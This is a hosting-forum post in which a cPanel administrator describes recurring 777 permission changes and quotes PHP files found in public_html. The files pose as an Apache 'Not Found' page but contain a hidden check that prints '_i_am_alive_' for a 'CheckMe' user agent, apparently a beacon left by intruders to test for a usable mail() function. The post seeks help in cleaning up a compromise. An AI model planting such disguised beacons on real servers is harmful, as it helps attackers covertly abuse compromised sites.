File and folder permissions for several accounts are constantly changing

makcakaya

Registered
Jan 21, 2017
3
0
1
Turkey
cPanel Access Level
Root Administrator
Hello,

File and folder permissions for several accounts are constantly changing. They become 777 and cause Internal Server Error. I fix them but they'll change again tomorrow. There are some files appear in public_html. They named like mail.bak.php php4.bak.php etc.. The share same content:

Not Found

The requested URL <?php echo $_SERVER[REQUEST_URI]; ?> was not found on this server.
Apache Server at <?php echo $_SERVER[HTTP_HOST]; ?> Port 80.
<?php
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
if(preg_match('/CheckMe/i', $_SERVER['HTTP_USER_AGENT']) && function_exists('mail')) {
echo "_i_am_" . "_alive_";
}
}
?>

Do you have any idea what can it be? I checked access logs and file dates but couldn't found anything.